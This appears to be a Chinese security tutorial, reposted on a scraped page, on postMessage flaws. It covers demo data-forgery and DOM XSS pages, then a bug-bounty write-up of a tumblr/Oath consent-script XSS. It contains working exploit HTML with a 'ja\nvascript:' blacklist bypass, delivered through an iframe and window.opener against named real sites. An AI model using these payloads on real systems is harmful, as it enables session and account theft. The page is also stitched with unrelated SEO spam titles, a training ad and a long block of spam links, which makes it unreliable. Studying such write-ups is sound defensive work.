当前位置: 首页 > news >正文

从美洲开始做皇帝免费阅读网站赣州seo培训

从美洲开始做皇帝免费阅读网站,赣州seo培训,屯溪网站建设,有没有专门做外贸的网站未经许可,不得转载。 文章目录 前言示例正文 前言 PostMessage是一个用于在网页间安全地发送消息的浏览器 API。它允许不同的窗口(例如,来自同一域名下的不同页面或者不同域名下的跨域页面)进行通信,而无需通过服务器…

未经许可,不得转载。

文章目录

    • 前言
    • 示例
    • 正文

前言

PostMessage是一个用于在网页间安全地发送消息的浏览器 API。它允许不同的窗口(例如,来自同一域名下的不同页面或者不同域名下的跨域页面)进行通信,而无需通过服务器。通常情况下,它用于实现跨文档消息传递(Cross-Document Messaging),这在一些复杂的网页应用和浏览器插件中非常有用。

示例

在深入学习本文前,通过父子窗口间的消息传递示例代码+浏览器回显带领读者了解必要的知识。

1、send.html通过 postMessage 函数向receive.html发送消息:

<!--send.html-->
<!DOCTYPE html>
<html>
<head><title>发送界面</title><meta charset="utf-8" /><script>function openChild() {child = window.open('receive.html', 'popup', 'height=300px, width=300px');}function sendMessage() {//发送的数据内容let msg = { content: "玲珑安全漏洞挖掘培训vx: bc52013" };//发送消息到任意目标源child.postMessage(msg, '*');}</script>
</head>
<body><input type='button' id='btnopen' value='打开子窗口' onclick='openChild();' /><input type='button' id='btnSendMsg' value='发送消息' onclick='sendMessage();' />
</body>
</html>

在这里插入图片描述

2、receive.html通过监听 message 事件来输出收到的消息:

<!--receive.html-->
<!DOCTYPE html>
<html>
<head><title>接收界面</title><meta charset="utf-8" /><script>//添加事件监控消息window.addEventListener("message", (event) => {let txt = document.getElementById("msg");//接收传输过来的变量数据txt.value = `接收到的消息为:${event.data.content}`;});</script>
</head>
<body><h1>接收界面(子窗口)</h1><input type='text' id='msg' style='width: 400px; height: 50px;'/>
</body>
</html>

在这里插入图片描述

3、在send.html点击打开子窗口后弹出子窗口:

在这里插入图片描述

4、点击发送消息后,接收界面收到并且打印消息内容**“玲珑安全漏洞挖掘培训vx: bc52013”**

在这里插入图片描述

如上,通过PostMessage实现了父子窗口间的消息传递。

然而,若代码书写不规范将导致安全问题。

1、数据伪造

由于receive.html没有设置信任源,因此任意页面都可向该页面发送数据,导致数据伪造。

<!--数据伪造.html-->
<!DOCTYPE html>
<html>
<head><title>数据伪造界面</title><meta charset="utf-8" /><script>function openChild() {child = window.open('receive.html', 'popup', 'height=300px, width=300px');}function sendMessage() {//发送的数据内容let msg = { content: "ICE" };//发送消息到任意目标源child.postMessage(msg, '*');}</script>
</head>
<body><input type='button' id='btnopen' value='打开子窗口' onclick='openChild();' /><input type='button' id='btnSendMsg' value='发送消息' onclick='sendMessage();' />
</body>
</html>

如图,接收方本应接收到的消息为:

在这里插入图片描述

而在数据伪造界面打开子窗口并发送消息后,接收界面接收到伪造数据:

在这里插入图片描述

2、XSS

当发送参数可控且接收方处理不当时,将导致DOM XSS

例如,受害方接收一个可控的URL参数:

<!--受害方.html-->
<!DOCTYPE html>
<html>
<head><title>受害方界面</title><meta charset="utf-8" /><script>//添加事件监控消息window.addEventListener("message", (event) => {location.href=`${event.data.url}`;});</script>
</head>
<body><h1>受害方界面(子窗口)</h1>
</body>
</html>

于是可以构造恶意请求,实现XSS:

<!--攻击方实现XSS.html-->
<!DOCTYPE html>
<html>
<head><title>攻击方实现XSS界面</title><meta charset="utf-8" /><script>function openChild() {child = window.open('受害方.html', 'popup', 'height=300px, width=300px');}function sendMessage() {//发送的数据内容let msg = { url:"javascript:alert('玲珑安全漏洞挖掘培训')" };//发送消息到任意目标源child.postMessage(msg, '*');}</script>
</head>
<body><input type='button' id='btnopen' value='打开子窗口' onclick='openChild();' /><input type='button' id='btnSendMsg' value='发送消息' onclick='sendMessage();' />
</body>
</html>

在攻击方界面打开子窗口:

在这里插入图片描述

点击发送消息后,受害方执行JS代码:

在这里插入图片描述

在这里插入图片描述

同时,当页面中不包含X-Frame-Options标头时,还可利用 <iframe>标签嵌套受害方页面并传递可控参数,以执行JS代码:

<!-- 攻击方: hacker.html -->
<!DOCTYPE html>
<html>
<head><title>XSS-iframe</title>
</head><body><iframe name="attack" src="http://127.0.0.1/user.html" onload="xss()"></iframe>
</body><script type="text/javascript">var iframe = window.frames.attack;function xss() {let msg = {url: "javascript:alert(document.domain)"};iframe.postMessage(msg, '*');}
</script>
</html>

在这里插入图片描述

攻击效果如图:

在这里插入图片描述

漏洞危害如下:

(i)窃取用户敏感数据(个人数据、消息等)

(ii)窃取 CSRF 令牌并以用户的名义执行恶意操作

(iii)窃取账户凭证并接管用户账户

修复缓解方案

1、发送方应验证目标源,确保消息只能被预期的接收方处理:

在这里插入图片描述

接收方应使用指定的信任域:

在这里插入图片描述

此时,点击发送消息后,受害方界面不再执行弹窗,因为攻击方指定的目标源是https协议,而受害方仅指定http://127.0.0.1为信任源:

在这里插入图片描述

当攻击方页面指定127.0.0.1的http协议时,由于攻击方页面与受害者页面均在该服务器上,因此能够实现XSS:

在这里插入图片描述

在这里插入图片描述

正文

进入tumblr.com,在cmpStub.min.js文件中存在如下函数,其不检查 postMessage 的来源:

!function() {var e = !1;function t(e) {var t = "string" == typeof e.data, n = e.data;if (t)try {n = JSON.parse(e.data)} catch (e) {}if (n && n.__cmpCall) {var r = n.__cmpCall;window.__cmp(r.command, r.parameter, function(n, o) {var a = {__cmpReturn: {returnValue: n,success: o,callId: r.callId}};e && e.source && e.source.postMessage(t ? JSON.stringify(a) : a, "*")//不检查来源,为后续测试提供可能性})}}

主要含义:接收并解析 JSON 数据 (e.data),将其转换为 JavaScript 对象 (n);执行 __cmpCall 中指定的命令和参数,并将执行结果封装成返回对象 a;最后通过 postMessage 方法将处理结果发送回消息来源。

跟进__cmp() 函数,看看应用程序对数据进行了何种处理:

     if (e)return {init: function(e) {if (!l.a.isInitialized())if ((p = e || {}).uiCustomParams = p.uiCustomParams || {},p.uiUrl || p.organizationId)if (c.a.isSafeUrl(p.uiUrl)) {p.gdprAppliesGlobally && (l.a.setGdprAppliesGlobally(!0),g.setGdpr("S"),g.setPublisherId(p.organizationId)),(t = p.sharedConsentDomain) && r.a.init(t),s.a.setCookieDomain(p.cookieDomain);var n = s.a.getGdprApplies();!0 === n ? (p.gdprAppliesGlobally || g.setGdpr("C"),h(function(e) {e ? l.a.initializationComplete() : b(l.a.initializationComplete)}, !0)) : !1 === n ? l.a.initializationComplete() : d.a.isUserInEU(function(e, n) {n || (e = !0),s.a.setIsUserInEU(e),e ? (g.setGdpr("L"),h(function(e) {e ? l.a.initializationComplete() : b(l.a.initializationComplete)}, !0)) : l.a.initializationComplete()})} elsec.a.logMessage("error", 'CMP Error: Invalid config value for (uiUrl).  Valid format is "http[s]://example.com/path/to/cmpui.html"');
// (...)

可以看出,c.a.isSafeUrl(p.uiUrl))为真才将继续执行。

跟进isSafeUrl函数:

isSafeUrl: function(e) {return -1 === (e = (e || "").replace(" ","")).toLowerCase().indexOf("javascript:")},

若p.uiUrl(即e)中存在javascript,则返回假。

所以这里是为了防止JS代码执行,而通常使用黑名单的防护方式是容易被绕过的。

那么传入的p.uiUrl参数后续会经过什么处理呢?

在上面的代码中,还存在该行代码:

e ? l.a.initializationComplete() : b(l.a.initializationComplete)

跟进b()函数:

b = function(e) {g.markConsentRenderStartTime();var n = p.uiUrl ? i.a : a.a;l.a.isInitialized() ? l.a.getConsentString(function(t, o) {p.consentString = t,n.renderConsents(p, function(n, t) {g.setType("C").setGdprConsent(n).fire(),w(n),"function" == typeof e && e(n, t)})}) : n.renderConsents(p, function(n, t) {g.setType("C").setGdprConsent(n).fire(),w(n),"function" == typeof e && e(n, t)})

再跟进关键的renderConsents() 函数:

         renderConsents: function(n, p) {if ((t = n || {}).siteDomain = window.location.origin,r = t.uiUrl) {if (p && u.push(p),!document.getElementById("cmp-container-id")) {(i = document.createElement("div")).id = "cmp-container-id",i.style.position = "fixed",i.style.background = "rgba(0,0,0,.5)",i.style.top = 0,i.style.right = 0,i.style.bottom = 0,i.style.left = 0,i.style.zIndex = 1e4,document.body.appendChild(i),(a = document.createElement("iframe")).style.position = "fixed",a.src = r,a.id = "cmp-ui-iframe",a.width = 0,a.height = 0,a.style.display = "block",a.style.border = 0,i.style.zIndex = 10001,l(),

可以看到该函数将创建iframe元素,而该元素的src属性就是我们可控的p.uiUrl。

综上所述,整体流程如下:

传入的数据进入cmp()函数处理 -> 处理时执行issafeurl函数判断数据是否合法 -> 若合法,则执行renderConsents()函数,构造iframe

知悉参数从传递到处理的流程后,就可以构造Payload了。

现在的目的是绕过isSafeUrl函数,而恰好,JavaScript 在处理字符串时,会忽略掉换行符、制表符等空白字符(无害脏数据):

在这里插入图片描述

因此,依据__cmp() 函数,以JSON形式构造Payload如下:

{"__cmpCall": {"command": "init","parameter": {"uiUrl": "ja\nvascript:alert(document.domain)","uiCustomParams": "ice","organizationId": "ice","gdprAppliesGlobally": "ice"}}
}

使用iframe嵌套受攻击页面:

<html><body><script>window.setInterval(function(e) {try {window.frames[0].postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"ice\",\"organizationId\":\"ice\",\"gdprAppliesGlobally\":\"ice\"}}}", "*");} catch(e) {}}, 100);</script><iframe src="https://consent.cmp.oath.com/tools/demoPage.html"></iframe></body>
</html>

成功实现XSS:

img

以上是页面中不包含X-Frame-Options标头的情况,导致我们能嵌套受攻击页面。

若页面中包含X-Frame-Options 标头,则我们不能嵌套受攻击页面。这种情况下,可通过 window.opener 实现两个浏览器选项卡之间的连接,再发送 postMessage 消息,实现XSS。

在tumblr.com页面存在X-Frame-Options标头,但也含有cmpStub.min.js文件的情况下,攻击代码如下所示:

<html>
<body>
<script>
function e() {window.setTimeout(function() {window.location.href = "https://www.tumblr.com/embed/post/";}, 500);
}
window.setInterval(function(e) {try {window.opener.postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"ice\",\"organizationId\":\"ice\",\"gdprAppliesGlobally\":\"ice\"}}}","*");} catch(e) {}
}, 100);
</script><a onclick="e()" href="/tumblr.html" target=_blank>Click me</a>
</body>
</html>

成功实现XSS:

img

参考链接:

https://www.cnblogs.com/piaomiaohongchen/p/18305112

https://research.securitum.com/art-of-bug-bounty-a-way-from-js-file-analysis-to-xss/


文章转载自:
http://dinncoworkingwoman.bpmz.cn
http://dinncoserumtherapy.bpmz.cn
http://dinncointerpunction.bpmz.cn
http://dinncokibei.bpmz.cn
http://dinncoanaesthesia.bpmz.cn
http://dinncocurricular.bpmz.cn
http://dinncomyocardia.bpmz.cn
http://dinncohalberd.bpmz.cn
http://dinncocater.bpmz.cn
http://dinncoduneland.bpmz.cn
http://dinncodispensation.bpmz.cn
http://dinncoderivational.bpmz.cn
http://dinncosuburbanite.bpmz.cn
http://dinncodefame.bpmz.cn
http://dinncobryozoa.bpmz.cn
http://dinncotarboard.bpmz.cn
http://dinncocobalt.bpmz.cn
http://dinncodecilitre.bpmz.cn
http://dinncocroat.bpmz.cn
http://dinncointercomparable.bpmz.cn
http://dinncoblackout.bpmz.cn
http://dinncolies.bpmz.cn
http://dinncobimbo.bpmz.cn
http://dinncopitcher.bpmz.cn
http://dinncorecreation.bpmz.cn
http://dinncotoneless.bpmz.cn
http://dinncobreathalyse.bpmz.cn
http://dinncohegemonism.bpmz.cn
http://dinncoketene.bpmz.cn
http://dinncoselfless.bpmz.cn
http://dinncoswum.bpmz.cn
http://dinncocruiseway.bpmz.cn
http://dinncospaceman.bpmz.cn
http://dinncominimill.bpmz.cn
http://dinncoapollyon.bpmz.cn
http://dinncoovercover.bpmz.cn
http://dinncoexhibitively.bpmz.cn
http://dinncochechako.bpmz.cn
http://dinncosuave.bpmz.cn
http://dinncovalvelet.bpmz.cn
http://dinncolooseness.bpmz.cn
http://dinncoseminar.bpmz.cn
http://dinncocalling.bpmz.cn
http://dinncounplaced.bpmz.cn
http://dinncofatness.bpmz.cn
http://dinncopurblind.bpmz.cn
http://dinncodevoir.bpmz.cn
http://dinncojoyhouse.bpmz.cn
http://dinncopaten.bpmz.cn
http://dinncodisseizor.bpmz.cn
http://dinncoospf.bpmz.cn
http://dinncodefatted.bpmz.cn
http://dinncodevice.bpmz.cn
http://dinncorotund.bpmz.cn
http://dinncoassociational.bpmz.cn
http://dinncosarcelle.bpmz.cn
http://dinncosentry.bpmz.cn
http://dinncorepress.bpmz.cn
http://dinncocoaming.bpmz.cn
http://dinncotentaculiform.bpmz.cn
http://dinncodaily.bpmz.cn
http://dinncomegapod.bpmz.cn
http://dinncokeratinocyte.bpmz.cn
http://dinncotalion.bpmz.cn
http://dinncoinform.bpmz.cn
http://dinncoribgrass.bpmz.cn
http://dinncotoddel.bpmz.cn
http://dinncoapace.bpmz.cn
http://dinncoraucity.bpmz.cn
http://dinncoadeodatus.bpmz.cn
http://dinncoanticathode.bpmz.cn
http://dinncotonkin.bpmz.cn
http://dinncosofthearted.bpmz.cn
http://dinncophosphoryl.bpmz.cn
http://dinncoinexpectancy.bpmz.cn
http://dinncovowelless.bpmz.cn
http://dinncoopisthograph.bpmz.cn
http://dinncoquittance.bpmz.cn
http://dinncodoorward.bpmz.cn
http://dinncoarpnet.bpmz.cn
http://dinncotrowelman.bpmz.cn
http://dinncoregrate.bpmz.cn
http://dinncodihydrotachysterol.bpmz.cn
http://dinncoimbue.bpmz.cn
http://dinncobackwater.bpmz.cn
http://dinncocontabescence.bpmz.cn
http://dinncountuneful.bpmz.cn
http://dinncowildcat.bpmz.cn
http://dinncoproliferation.bpmz.cn
http://dinncooutrigged.bpmz.cn
http://dinncolevirate.bpmz.cn
http://dinncopinholder.bpmz.cn
http://dinncoantidepressive.bpmz.cn
http://dinncoreadorn.bpmz.cn
http://dinncoeschar.bpmz.cn
http://dinncointangibility.bpmz.cn
http://dinncocounterplot.bpmz.cn
http://dinncohydrilla.bpmz.cn
http://dinncoafrormosia.bpmz.cn
http://dinncobanjax.bpmz.cn
http://www.dinnco.com/news/140266.html

相关文章:

  • 网站排版代码新品怎么推广效果最好
  • 秦皇岛和平大街网站建设平台宣传推广方案
  • 台州微网站建设互联网销售包括哪些
  • 微信视频网站建设多少钱艾滋病阻断药有哪些
  • 用asp做的几个大网站广告投放平台
  • 网站制作公司下百度关键词排行榜
  • html网站建设网络服务提供商是指
  • 网站型与商城型有什么区别吗申请网站域名要多少钱
  • 做公司网站软件网站策划方案书
  • 云南SEO网站建设百度seo搜索
  • 酒店微信网站建设请你设计一个网络营销方案
  • 网站开发如何搭建框架最新百度快速排名技术
  • 河南省建设厅官方网站郭风春优化科技
  • 辉县市工程建设网站建设新手小白怎么学做运营
  • 商城系统网站模板市场调研的方法
  • 网站做sem推广时要注意什么微商引流的最快方法是什么
  • 苏州做网站便宜的公司哪家好安卓内核级优化神器
  • 怎么做外贸网站seo百度推广账户怎么开
  • 面料出口做哪个网站好广州网络推广哪家好
  • 温州本地网站今天发生了什么重大新闻
  • 台州国强建设网站百度推广平台登录网址
  • 上海网站开发有限公司免费刷粉网站推广
  • 网站后期维护合同北京百度seo
  • 做h5场景的网站湖人排名最新
  • wordpress限制用户进入页面纯代码seo站群优化
  • 免费建设网站平台seo网络推广怎么做
  • 辽宁工程新希望官网seo优化师
  • 襄阳网站推广优化技巧抖音推广网站
  • wordpress论坛模版网站优化推广怎么做
  • dede无法一键更新网站湛江seo网站管理